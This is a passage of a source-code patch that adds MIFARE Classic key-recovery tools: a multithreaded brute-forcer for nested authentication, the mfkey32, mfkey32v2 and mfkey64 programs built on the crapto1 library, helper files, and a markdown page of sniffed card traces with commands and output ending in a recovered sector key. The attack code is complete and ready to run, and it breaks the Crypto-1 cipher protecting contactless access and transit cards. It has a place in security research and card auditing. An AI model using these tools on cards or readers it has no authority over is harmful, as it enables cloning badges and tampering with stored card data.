hex_to_buffer((uint8_t *)buf, data, len, sizeof(buf) - 1, min_str_len, 0, true);
|
||||
return buf;
|
||||
}
|
||||
|
||||
static bool checkValidCmdByte(uint8_t *cmd, uint16_t n) {
|
||||
|
||||
bool ok = false;
|
||||
if (cmd == NULL)
|
||||
return false;
|
||||
for (int i = 0; i < 8; ++i) {
|
||||
if (cmd[0] == cmds[i][0]) {
|
||||
|
||||
if (n >= 4)
|
||||
ok = CheckCrc14443(CRC_14443_A, cmd, 4);
|
||||
|
||||
if (cmds[i][1] > 0 && n >= cmds[i][1])
|
||||
ok = CheckCrc14443(CRC_14443_A, cmd + 4, cmds[i][1]);
|
||||
|
||||
if (ok) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static void *brute_thread(void *arguments) {
|
||||
|
||||
struct thread_args *args = (struct thread_args *) arguments;
|
||||
uint64_t key = args->part_key;
|
||||
uint8_t local_enc[args->enc_len];
|
||||
memcpy(local_enc, args->enc, args->enc_len);
|
||||
|
||||
for (uint64_t count = args->idx; count < 0xFFFF; count += thread_count) {
|
||||
|
||||
if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) {
|
||||
break;
|
||||
}
|
||||
|
||||
key |= count << 32;
|
||||
|
||||
// Init cipher with key
|
||||
struct Crypto1State *pcs = crypto1_create(key);
|
||||
|
||||
// NESTED decrypt nt with help of new key
|
||||
crypto1_word(pcs, args->nt_enc ^ args->uid, 1);
|
||||
crypto1_word(pcs, args->nr_enc, 1);
|
||||
crypto1_word(pcs, 0, 0);
|
||||
crypto1_word(pcs, 0, 0);
|
||||
|
||||
// decrypt 22 bytes
|
||||
uint8_t dec[args->enc_len];
|
||||
for (int i = 0; i < args->enc_len; i++)
|
||||
dec[i] = crypto1_byte(pcs, 0x00, 0) ^ local_enc[i];
|
||||
|
||||
crypto1_destroy(pcs);
|
||||
|
||||
if (checkValidCmdByte(dec, args->enc_len) == false) {
|
||||
continue;
|
||||
}
|
||||
__sync_fetch_and_add(&global_found, 1);
|
||||
|
||||
// lock this section to avoid interlacing prints from different threats
|
||||
pthread_mutex_lock(&print_lock);
|
||||
printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0));
|
||||
printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0));
|
||||
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key);
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
break;
|
||||
}
|
||||
|
||||
free(args);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int usage(void) {
|
||||
printf(" syntax: mf_trace_brute <uid> <partial key> <nt enc> <nr enc> [<next_command + 18 bytes>]\n\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
printf("Mifare classic nested auth key recovery Phase 2\n");
|
||||
if (argc < 3) return usage();
|
||||
|
||||
uint32_t uid = 0; // serial number
|
||||
uint32_t part_key = 0; // last 4 keys of key
|
||||
uint32_t nt_enc = 0; // noncce tag
|
||||
uint32_t nr_enc = 0; // nonce reader encrypted
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &part_key);
|
||||
sscanf(argv[3], "%x", &nt_enc);
|
||||
sscanf(argv[4], "%x", &nr_enc);
|
||||
|
||||
int enc_len = 0;
|
||||
uint8_t enc[ENC_LEN] = {0}; // next encrypted command + a full read/write
|
||||
param_gethex_to_eol(argv[5], 0, enc, sizeof(enc), &enc_len);
|
||||
|
||||
printf("-------------------------------------------------\n");
|
||||
printf("uid.................. %08x\n", uid);
|
||||
printf("partial key.......... %08x\n", part_key);
|
||||
printf("nt enc............... %08x\n", nt_enc);
|
||||
printf("nr enc............... %08x\n", nr_enc);
|
||||
printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0));
|
||||
|
||||
uint64_t t1 = msclock();
|
||||
|
||||
#if !defined(_WIN32) || !defined(__WIN32__)
|
||||
thread_count = sysconf(_SC_NPROCESSORS_CONF);
|
||||
if (thread_count < 2)
|
||||
thread_count = 2;
|
||||
#endif /* _WIN32 */
|
||||
|
||||
printf("\nBruteforce using %d threads to find upper 16bits of key\n", thread_count);
|
||||
|
||||
pthread_t threads[thread_count];
|
||||
|
||||
// create a mutex to avoid interlacing print commands from our different threads
|
||||
pthread_mutex_init(&print_lock, NULL);
|
||||
|
||||
// threads
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
struct thread_args *a = calloc(1, sizeof(struct thread_args));
|
||||
a->thread = i;
|
||||
a->idx = i;
|
||||
a->uid = uid;
|
||||
a->part_key = part_key;
|
||||
a->nt_enc = nt_enc;
|
||||
a->nr_enc = nr_enc;
|
||||
a->enc_len = enc_len;
|
||||
memcpy(a->enc, enc, enc_len);
|
||||
pthread_create(&threads[i], NULL, brute_thread, (void *)a);
|
||||
}
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (int i = 0; i < thread_count; ++i)
|
||||
pthread_join(threads[i], NULL);
|
||||
|
||||
if (global_found == false) {
|
||||
printf("\nFailed to find a key\n\n");
|
||||
}
|
||||
|
||||
t1 = msclock() - t1;
|
||||
if (t1 > 0)
|
||||
printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
|
||||
|
||||
// clean up mutex
|
||||
pthread_mutex_destroy(&print_lock);
|
||||
return 0;
|
||||
}
|
70
tools/mfc/card_reader/mfkey32.c
Normal file
70
tools/mfc/card_reader/mfkey32.c
Normal file
|
@ -0,0 +1,70 @@
|
|||
#define __STDC_FORMAT_MACROS
|
||||
#include <inttypes.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "util_posix.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct Crypto1State *s, *t;
|
||||
uint64_t key; // recovered key
|
||||
uint32_t uid; // serial number
|
||||
uint32_t nt; // tag challenge
|
||||
uint32_t nr0_enc; // first encrypted reader challenge
|
||||
uint32_t ar0_enc; // first encrypted reader response
|
||||
uint32_t nr1_enc; // second encrypted reader challenge
|
||||
uint32_t ar1_enc; // second encrypted reader response
|
||||
uint32_t ks2; // keystream used to encrypt reader response
|
||||
|
||||
printf("MIFARE Classic key recovery - based on 32 bits of keystream\n");
|
||||
printf("Recover key from two 32-bit reader authentication answers only!\n\n");
|
||||
|
||||
if (argc < 7) {
|
||||
printf(" syntax: %s <uid> <nt> <nr_0> <ar_0> <nr_1> <ar_1>\n\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &nt);
|
||||
sscanf(argv[3], "%x", &nr0_enc);
|
||||
sscanf(argv[4], "%x", &ar0_enc);
|
||||
sscanf(argv[5], "%x", &nr1_enc);
|
||||
sscanf(argv[6], "%x", &ar1_enc);
|
||||
|
||||
printf("Recovering key for:\n");
|
||||
printf(" uid: %08x\n", uid);
|
||||
printf(" nt: %08x\n", nt);
|
||||
printf(" {nr_0}: %08x\n", nr0_enc);
|
||||
printf(" {ar_0}: %08x\n", ar0_enc);
|
||||
printf(" {nr_1}: %08x\n", nr1_enc);
|
||||
printf(" {ar_1}: %08x\n", ar1_enc);
|
||||
|
||||
// Generate lfsr successors of the tag challenge
|
||||
printf("\nLFSR successors of the tag challenge:\n");
|
||||
uint32_t p64 = prng_successor(nt, 64);
|
||||
printf(" nt': %08x\n", p64);
|
||||
printf(" nt'': %08x\n", prng_successor(p64, 32));
|
||||
|
||||
// Extract the keystream from the messages
|
||||
printf("\nKeystream used to generate {ar} and {at}:\n");
|
||||
ks2 = ar0_enc ^ p64;
|
||||
printf(" ks2: %08x\n", ks2);
|
||||
|
||||
s = lfsr_recovery32(ar0_enc ^ p64, 0);
|
||||
|
||||
for (t = s; t->odd | t->even; ++t) {
|
||||
lfsr_rollback_word(t, 0, 0);
|
||||
lfsr_rollback_word(t, nr0_enc, 1);
|
||||
lfsr_rollback_word(t, uid ^ nt, 0);
|
||||
crypto1_get_lfsr(t, &key);
|
||||
crypto1_word(t, uid ^ nt, 0);
|
||||
crypto1_word(t, nr1_enc, 1);
|
||||
if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) {
|
||||
printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(s);
|
||||
return 0;
|
||||
}
|
77
tools/mfc/card_reader/mfkey32v2.c
Normal file
77
tools/mfc/card_reader/mfkey32v2.c
Normal file
|
@ -0,0 +1,77 @@
|
|||
#define __STDC_FORMAT_MACROS
|
||||
#include <inttypes.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "util_posix.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct Crypto1State *s, *t;
|
||||
uint64_t key; // recovered key
|
||||
uint32_t uid; // serial number
|
||||
uint32_t nt0; // tag challenge first
|
||||
uint32_t nt1; // tag challenge second
|
||||
uint32_t nr0_enc; // first encrypted reader challenge
|
||||
uint32_t ar0_enc; // first encrypted reader response
|
||||
uint32_t nr1_enc; // second encrypted reader challenge
|
||||
uint32_t ar1_enc; // second encrypted reader response
|
||||
uint32_t ks2; // keystream used to encrypt reader response
|
||||
|
||||
printf("MIFARE Classic key recovery - based 32 bits of keystream VERSION2\n");
|
||||
printf("Recover key from two 32-bit reader authentication answers only\n");
|
||||
printf("This version implements Moebius two different nonce solution (like the supercard)\n\n");
|
||||
|
||||
if (argc < 8) {
|
||||
printf("syntax: %s <uid> <nt> <nr_0> <ar_0> <nt1> <nr_1> <ar_1>\n\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &nt0);
|
||||
sscanf(argv[3], "%x", &nr0_enc);
|
||||
sscanf(argv[4], "%x", &ar0_enc);
|
||||
sscanf(argv[5], "%x", &nt1);
|
||||
sscanf(argv[6], "%x", &nr1_enc);
|
||||
sscanf(argv[7], "%x", &ar1_enc);
|
||||
|
||||
printf("Recovering key for:\n");
|
||||
printf(" uid: %08x\n", uid);
|
||||
printf(" nt_0: %08x\n", nt0);
|
||||
printf(" {nr_0}: %08x\n", nr0_enc);
|
||||
printf(" {ar_0}: %08x\n", ar0_enc);
|
||||
printf(" nt_1: %08x\n", nt1);
|
||||
printf(" {nr_1}: %08x\n", nr1_enc);
|
||||
printf(" {ar_1}: %08x\n", ar1_enc);
|
||||
|
||||
// Generate lfsr successors of the tag challenge
|
||||
printf("\nLFSR successors of the tag challenge:\n");
|
||||
uint32_t p64 = prng_successor(nt0, 64);
|
||||
uint32_t p64b = prng_successor(nt1, 64);
|
||||
|
||||
printf(" nt': %08x\n", p64);
|
||||
printf(" nt'': %08x\n", prng_successor(p64, 32));
|
||||
|
||||
// Extract the keystream from the messages
|
||||
printf("\nKeystream used to generate {ar} and {at}:\n");
|
||||
ks2 = ar0_enc ^ p64;
|
||||
printf(" ks2: %08x\n", ks2);
|
||||
|
||||
s = lfsr_recovery32(ar0_enc ^ p64, 0);
|
||||
|
||||
for (t = s; t->odd | t->even; ++t) {
|
||||
lfsr_rollback_word(t, 0, 0);
|
||||
lfsr_rollback_word(t, nr0_enc, 1);
|
||||
lfsr_rollback_word(t, uid ^ nt0, 0);
|
||||
crypto1_get_lfsr(t, &key);
|
||||
|
||||
crypto1_word(t, uid ^ nt1, 0);
|
||||
crypto1_word(t, nr1_enc, 1);
|
||||
if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64b)) {
|
||||
printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(s);
|
||||
return 0;
|
||||
}
|
102
tools/mfc/card_reader/mfkey64.c
Normal file
102
tools/mfc/card_reader/mfkey64.c
Normal file
|
@ -0,0 +1,102 @@
|
|||
#define __STDC_FORMAT_MACROS
|
||||
#include <inttypes.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "util_posix.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct Crypto1State *revstate;
|
||||
uint64_t key; // recovered key
|
||||
uint32_t uid; // serial number
|
||||
uint32_t nt; // tag challenge
|
||||
uint32_t nr_enc; // encrypted reader challenge
|
||||
uint32_t ar_enc; // encrypted reader response
|
||||
uint32_t at_enc; // encrypted tag response
|
||||
uint32_t ks2; // keystream used to encrypt reader response
|
||||
uint32_t ks3; // keystream used to encrypt tag response
|
||||
|
||||
printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
|
||||
printf("Recover key from only one complete authentication!\n\n");
|
||||
|
||||
if (argc < 6) {
|
||||
printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}> [enc...]\n\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int encc = argc - 6;
|
||||
int enclen[encc];
|
||||
uint8_t enc[encc][120];
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &nt);
|
||||
sscanf(argv[3], "%x", &nr_enc);
|
||||
sscanf(argv[4], "%x", &ar_enc);
|
||||
sscanf(argv[5], "%x", &at_enc);
|
||||
for (int i = 0; i < encc; i++) {
|
||||
enclen[i] = strlen(argv[i + 6]) / 2;
|
||||
for (int i2 = 0; i2 < enclen[i]; i2++) {
|
||||
sscanf(argv[i + 6] + i2 * 2, "%2hhx", &enc[i][i2]);
|
||||
}
|
||||
}
|
||||
|
||||
printf("Recovering key for:\n");
|
||||
|
||||
printf(" uid: %08x\n", uid);
|
||||
printf(" nt: %08x\n", nt);
|
||||
printf(" {nr}: %08x\n", nr_enc);
|
||||
printf(" {ar}: %08x\n", ar_enc);
|
||||
printf(" {at}: %08x\n", at_enc);
|
||||
|
||||
for (int i = 0; i < encc; i++) {
|
||||
printf("{enc%d}: ", i);
|
||||
for (int i2 = 0; i2 < enclen[i]; i2++) {
|
||||
printf("%02x", enc[i][i2]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
// Generate lfsr successors of the tag challenge
|
||||
printf("\nLFSR successors of the tag challenge:\n");
|
||||
uint32_t p64 = prng_successor(nt, 64);
|
||||
printf(" nt': %08x\n", p64);
|
||||
printf(" nt'': %08x\n", prng_successor(p64, 32));
|
||||
|
||||
// Extract the keystream from the messages
|
||||
printf("\nKeystream used to generate {ar} and {at}:\n");
|
||||
ks2 = ar_enc ^ p64;
|
||||
ks3 = at_enc ^ prng_successor(p64, 32);
|
||||
printf(" ks2: %08x\n", ks2);
|
||||
printf(" ks3: %08x\n", ks3);
|
||||
|
||||
revstate = lfsr_recovery64(ks2, ks3);
|
||||
|
||||
// Decrypting communication using keystream if presented
|
||||
if (argc > 6) {
|
||||
printf("\nDecrypted communication:\n");
|
||||
uint8_t ks4;
|
||||
int rollb = 0;
|
||||
for (int i = 0; i < encc; i++) {
|
||||
printf("{dec%d}: ", i);
|
||||
for (int i2 = 0; i2 < enclen[i]; i2++) {
|
||||
ks4 = crypto1_byte(revstate, 0, 0);
|
||||
printf("%02x", ks4 ^ enc[i][i2]);
|
||||
rollb += 1;
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
for (int i = 0; i < rollb; i++)
|
||||
lfsr_rollback_byte(revstate, 0, 0);
|
||||
}
|
||||
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, 0, 0);
|
||||
lfsr_rollback_word(revstate, nr_enc, 1);
|
||||
lfsr_rollback_word(revstate, uid ^ nt, 0);
|
||||
crypto1_get_lfsr(revstate, &key);
|
||||
printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
|
||||
crypto1_destroy(revstate);
|
||||
return 0;
|
||||
}
|
105
tools/mfc/card_reader/mfkey_examples.md
Normal file
105
tools/mfc/card_reader/mfkey_examples.md
Normal file
|
@ -0,0 +1,105 @@
|
|||
## Sample trace
|
||||
```
|
||||
+ 50422: : 26
|
||||
+ 64: 0: TAG 04 00
|
||||
+ 944: : 93 20
|
||||
+ 64: 0: TAG 9c 59 9b 32 6c
|
||||
+ 1839: : 93 70 9c 59 9b 32 6c 6b 30
|
||||
+ 64: 0: TAG 08 b6 dd
|
||||
+ 3783: : 60 32 64 69
|
||||
+ 113: 0: TAG 82 a4 16 6c
|
||||
+ 1287: : a1 e4 58 ce 6e ea 41 e0
|
||||
+ 64: 0: TAG 5c ad f4 39
|
||||
```
|
||||
Usage with sample trace:
|
||||
`./mfkey64 9C599B32 82A4166C A1E458CE 6EEA41E0 5CADF439`
|
||||
|
||||
## Other examples
|
||||
|
||||
For mfkey32, you want to get two different NR_0/NR_1 values.
|
||||
|
||||
```
|
||||
# <uid> <nt> <nr_0> <ar_0> <nr_1> <ar_1>
|
||||
./mfkey32 52B0F519 5417D1F8 4D545EA7 E15AC8C2 DAC1A7F4 5AE5C37F
|
||||
```
|
||||
|
||||
For mfkey32v2 (moebius), you want to get two different NT/NT1 values. (like in the SIM commands)
|
||||
```
|
||||
# <uid> <nt> <nr_0> <ar_0> <nt1> <nr_1> <ar_1>
|
||||
./mfkey32v2 12345678 1AD8DF2B 1D316024 620EF048 30D6CB07 C52077E2 837AC61A
|
||||
./mfkey32v2 52B0F519 5417D1F8 4D545EA7 E15AC8C2 A1BA88C6 DAC1A7F4 5AE5C37F
|
||||
```
|
||||
|
||||
For mfkey64, you want to have the AT response from tag.
|
||||
```
|
||||
# <uid> <nt> <nr> <ar> <at>
|
||||
./mfkey64 9C599B32 82A4166C A1E458CE 6EEA41E0 5CADF439
|
||||
./mfkey64 52B0F519 5417D1F8 4D545EA7 E15AC8C2 5056E41B
|
||||
```
|
||||
|
||||
### Communication decryption
|
||||
A new functionality from @zhovner
|
||||
|
||||
Example: given the following trace
|
||||
```
|
||||
RDR 26
|
||||
TAG 04 00
|
||||
RDR 93 20
|
||||
TAG 14 57 9f 69 b5
|
||||
RDR 93 70 14 57 9f 69 b5 2e 51
|
||||
TAG 08 b6 dd
|
||||
RDR 60 14 50 2d
|
||||
TAG ce 84 42 61
|
||||
RDR f8 04 9c cb 05 25 c8 4f
|
||||
TAG 94 31 cc 40
|
||||
RDR 70 93 df 99
|
||||
TAG 99 72 42 8c e2 e8 52 3f 45 6b 99 c8 31 e7 69 dc ed 09
|
||||
RDR 8c a6 82 7b
|
||||
TAG ab 79 7f d3 69 e8 b9 3a 86 77 6b 40 da e3 ef 68 6e fd
|
||||
RDR c3 c3 81 ba
|
||||
TAG 49 e2 c9 de f4 86 8d 17 77 67 0e 58 4c 27 23 02 86 f4
|
||||
RDR fb dc d7 c1
|
||||
TAG 4a bd 96 4b 07 d3 56 3a a0 66 ed 0a 2e ac 7f 63 12 bf
|
||||
RDR 9f 91 49 ea
|
||||
```
|
||||
|
||||
`./mfkey64 14579f69 ce844261 f8049ccb 0525c84f 9431cc40 7093df99 9972428ce2e8523f456b99c831e769dced09 8ca6827b ab797fd369e8b93a86776b40dae3ef686efd c3c381ba 49e2c9def4868d1777670e584c27230286f4 fbdcd7c1 4abd964b07d3563aa066ed0a2eac7f6312bf 9f9149ea`
|
||||
|
||||
```
|
||||
Recovering key for:
|
||||
uid: 14579f69
|
||||
nt: ce844261
|
||||
{nr}: f8049ccb
|
||||
{ar}: 0525c84f
|
||||
{at}: 9431cc40
|
||||
{enc0}: 7093df99
|
||||
{enc1}: 9972428ce2e8523f456b99c831e769dced09
|
||||
{enc2}: 8ca6827b
|
||||
{enc3}: ab797fd369e8b93a86776b40dae3ef686efd
|
||||
{enc4}: c3c381ba
|
||||
{enc5}: 49e2c9def4868d1777670e584c27230286f4
|
||||
{enc6}: fbdcd7c1
|
||||
{enc7}: 4abd964b07d3563aa066ed0a2eac7f6312bf
|
||||
{enc8}: 9f9149ea
|
||||
|
||||
LFSR successors of the tag challenge:
|
||||
nt': 76d4468d
|
||||
nt'': d5f3c476
|
||||
|
||||
Keystream used to generate {ar} and {at}:
|
||||
ks2: 73f18ec2
|
||||
ks3: 41c20836
|
||||
|
||||
Decrypted communication:
|
||||
{dec0}: 3014a7fe
|
||||
{dec1}: c26935cfdb95c4b4a27a84b8217ae9e48217
|
||||
{dec2}: 30152eef
|
||||
{dec3}: 493167c536c30f8e220b09675687067d4b31
|
||||
{dec4}: 3016b5dd
|
||||
{dec5}: 493167c536c30f8e220b09675687067d4b31
|
||||
{dec6}: 30173ccc
|
||||
{dec7}: 0000000000007e178869000000000000c4f2
|
||||
{dec8}: 61148834
|
||||
|
||||
Found Key: [091e639cb715]
|
||||
```
|
20
tools/mfc/card_reader/protocol.h
Normal file
20
tools/mfc/card_reader/protocol.h
Normal file
|
@ -0,0 +1,20 @@
|
|||
#ifndef PROTOCOL_H
|
||||
#define PROTOCOL_H
|
||||
|
||||
#define ISO14443A_CMD_READBLOCK 0x30
|
||||
#define ISO14443A_CMD_WRITEBLOCK 0xA0
|
||||
|
||||
#define MIFARE_AUTH_KEYA 0x60
|
||||
#define MIFARE_AUTH_KEYB 0x61
|
||||
#define MIFARE_CMD_DEC 0xC0
|
||||
#define MIFARE_CMD_INC 0xC1
|
||||
#define MIFARE_CMD_RESTORE 0xC2
|
||||
#define MIFARE_CMD_TRANSFER 0xB0
|
||||
|
||||
// mifare 4bit card answers
|
||||
#define CARD_ACK 0x0A // 1010 - ACK
|
||||
#define CARD_NACK_NA 0x04 // 0100 - NACK, not allowed (command not allowed)
|
||||
#define CARD_NACK_TR 0x05 // 0101 - NACK, transmission error
|
||||
|
||||
#endif
|
||||
// PROTOCOL_H
|
28
tools/mfc/card_reader/sleep.c
Normal file
28
tools/mfc/card_reader/sleep.c
Normal file
|
@ -0,0 +1,28 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// platform-independant sleep macros
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef _WIN32
|
||||
|
||||
#define _POSIX_C_SOURCE 199309L
|
||||
#include "sleep.h"
|
||||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/time.h>
|
||||
#include <errno.h>
|
||||
|
||||
void nsleep(uint64_t n) {
|
||||
struct timespec timeout;
|
||||
timeout.tv_sec = n / 1000000000;
|
||||
timeout.tv_nsec = n % 1000000000;
|
||||
while (nanosleep(&timeout, &timeout) && errno == EINTR);
|
||||
}
|
||||
|
||||
#endif // _WIN32
|
||||
|
27
tools/mfc/card_reader/sleep.h
Normal file
27
tools/mfc/card_reader/sleep.h
Normal file
|
@ -0,0 +1,27 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// platform-independant sleep macros
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef SLEEP_H__
|
||||
#define SLEEP_H__
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
# define sleep(n) Sleep(1000 * n)
|
||||
# define msleep(n) Sleep(n)
|
||||
#else
|
||||
# include <inttypes.h>
|
||||
# include <unistd.h>
|
||||
void nsleep(uint64_t n);
|
||||
# define msleep(n) nsleep(1000000 * n)
|
||||
# define usleep(n) nsleep(1000 * n)
|
||||
#endif // _WIN32
|
||||
|
||||
#endif // SLEEP_H__
|
||||
|
137
tools/mfc/card_reader/util_posix.c
Normal file
137
tools/mfc/card_reader/util_posix.c
Normal file
|
@ -0,0 +1,137 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// utilities requiring Posix library functions
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
// ensure availability even with -std=c99; must be included before
|
||||
#if !defined(_WIN32)
|
||||
//#define _POSIX_C_SOURCE 199309L // need nanosleep()
|
||||
#define _POSIX_C_SOURCE 200112L // need localtime_r()
|
||||
#else
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
#include "util_posix.h"
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
|
||||
|
||||
// Timer functions
|
||||
#if !defined (_WIN32)
|
||||
#include <errno.h>
|
||||
|
||||
static void nsleep(uint64_t n) {
|
||||
struct timespec timeout;
|
||||
timeout.tv_sec = n / 1000000000;
|
||||
timeout.tv_nsec = n % 1000000000;
|
||||
while (nanosleep(&timeout, &timeout) && errno == EINTR);
|
||||
}
|
||||
|
||||
void msleep(uint32_t n) {
|
||||
nsleep(1000000 * (uint64_t)n);
|
||||
}
|
||||
#endif // _WIN32
|
||||
|
||||
#ifdef __APPLE__
|
||||
|
||||
#ifndef CLOCK_MONOTONIC
|
||||
#define CLOCK_MONOTONIC (1)
|
||||
#endif
|
||||
#ifndef CLOCK_REALTIME
|
||||
#define CLOCK_REALTIME (2)
|
||||
#endif
|
||||
|
||||
#include <sys/time.h>
|
||||
#include <mach/clock.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_time.h>
|
||||
|
||||
/* clock_gettime is not implemented on OSX prior to 10.12 */
|
||||
int _civet_clock_gettime(int clk_id, struct timespec *t);
|
||||
|
||||
int _civet_clock_gettime(int clk_id, struct timespec *t) {
|
||||
memset(t, 0, sizeof(*t));
|
||||
if (clk_id == CLOCK_REALTIME) {
|
||||
struct timeval now;
|
||||
int rv = gettimeofday(&now, NULL);
|
||||
if (rv) {
|
||||
return rv;
|
||||
}
|
||||
t->tv_sec = now.tv_sec;
|
||||
t->tv_nsec = now.tv_usec * 1000;
|
||||
return 0;
|
||||
|
||||
} else if (clk_id == CLOCK_MONOTONIC) {
|
||||
static uint64_t clock_start_time = 0;
|
||||
static mach_timebase_info_data_t timebase_info = {0, 0};
|
||||
|
||||
uint64_t now = mach_absolute_time();
|
||||
|
||||
if (clock_start_time == 0) {
|
||||
|
||||
mach_timebase_info(&timebase_info);
|
||||
clock_start_time = now;
|
||||
}
|
||||
|
||||
now = (uint64_t)((double)(now - clock_start_time)
|
||||
* (double)timebase_info.numer
|
||||
/ (double)timebase_info.denom);
|
||||
|
||||
t->tv_sec = now / 1000000000;
|
||||
t->tv_nsec = now % 1000000000;
|
||||
return 0;
|
||||
}
|
||||
return -1; // EINVAL - Clock ID is unknown
|
||||
}
|
||||
|
||||
/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */
|
||||
#ifdef __CLOCK_AVAILABILITY
|
||||
/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared
|
||||
* but it may be NULL at runtime. So we need to check before using it. */
|
||||
int _civet_safe_clock_gettime(int clk_id, struct timespec *t);
|
||||
|
||||
int _civet_safe_clock_gettime(int clk_id, struct timespec *t) {
|
||||
if (clock_gettime) {
|
||||
return clock_gettime(clk_id, t);
|
||||
}
|
||||
return _civet_clock_gettime(clk_id, t);
|
||||
}
|
||||
#define clock_gettime _civet_safe_clock_gettime
|
||||
#else
|
||||
#define clock_gettime _civet_clock_gettime
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
// a milliseconds timer for performance measurement
|
||||
uint64_t msclock(void) {
|
||||
#if defined(_WIN32)
|
||||
#include <sys/types.h>
|
||||
|
||||
// WORKAROUND FOR MinGW (some versions - use if normal code does not compile)
|
||||
// It has no _ftime_s and needs explicit inclusion of timeb.h
|
||||
#include <sys/timeb.h>
|
||||
struct _timeb t;
|
||||
_ftime(&t);
|
||||
return 1000 * (uint64_t)t.time + t.millitm;
|
||||
|
||||
// NORMAL CODE (use _ftime_s)
|
||||
//struct _timeb t;
|
||||
//if (_ftime_s(&t)) {
|
||||
// return 0;
|
||||
//} else {
|
||||
// return 1000 * t.time + t.millitm;
|
||||
//}
|
||||
#else
|
||||
struct timespec t;
|
||||
clock_gettime(CLOCK_MONOTONIC, &t);
|
||||
return (1000 * (uint64_t)t.tv_sec + t.tv_nsec / 1000000);
|
||||
#endif
|
||||
}
|
||||
|
26
tools/mfc/card_reader/util_posix.h
Normal file
26
tools/mfc/card_reader/util_posix.h
Normal file
|
@ -0,0 +1,26 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// utilities requiring Posix library functions
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef UTIL_POSIX_H__
|
||||
#define UTIL_POSIX_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
# define sleep(n) Sleep(1000 *(n))
|
||||
# define msleep(n) Sleep((n))
|
||||
#else
|
||||
void msleep(uint32_t n); // sleep n milliseconds
|
||||
#endif // _WIN32
|
||||
|
||||
